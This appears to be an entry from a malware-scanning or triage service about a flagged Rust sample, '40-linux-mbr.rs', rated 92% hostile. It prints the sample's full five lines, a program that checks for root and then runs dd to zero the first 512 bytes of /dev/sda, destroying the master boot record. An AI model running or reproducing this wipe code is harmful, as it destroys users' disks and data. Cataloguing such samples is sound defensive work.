Hostile 92% Download

40-linux-mbr.rs

Destructive MBR wipe command

Destructive overwrite of a raw block deviceLanguage exec of dd zeroing a device
SHA-25650b472946b83373455f5917e9ce98fe5d09b166fa58a0b06976bafce07f9f620

Evidence

References a Unix block device path lines 1–5
1use std::process::Command;
2fn main() {
3 if unsafe { libc::geteuid() } != 0 { return; }
4 let _ = Command::new("dd").args(["if=/dev/zero","of=/dev/sda","bs=512","count=1"]).status();
5}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.